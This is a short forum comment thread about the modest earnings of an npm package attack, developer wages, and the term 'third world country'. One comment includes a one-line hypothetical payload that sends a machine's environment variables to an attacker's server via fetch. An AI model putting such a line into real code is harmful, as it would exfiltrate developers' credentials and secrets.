500 USD, not bad for a month of work if the author is from a 3rd world country.
- naugtur 1y agothere's only one transaction that's making up most of it. Someone lost some serious 0.1 ETH or so. 500$ is nothing. it's what unsophisticated phishing makes in a day. It's what a support call scammer makes their owner in a day. This was an attack on legitimate npm packages that end up in maybe hundreds of thousands of developer machines building tens of thousands applications. `fetch(myserverurl+JSON.stringify(process.env)` would be orders of magnitude more profitable as payload.
- javcasas 1y ago3rd world country developers routinely earn more than that. A shitty junior developer in Ecuador easily pulls 700-800 per month. If they are any competent, they can double that in an outsourcing consultancy.
- Cthulhu_ 1y ago"3rd world country" is an outdated cold war phrase usually incorrectly used to describe wealth or development status (it originally meant "anything not NATO or Warsaw Pact"); China is a third world country by that merit, but it's the second richest country (by GDP) in the world. "Developing" or "poor" country may be a more accurate phrase.
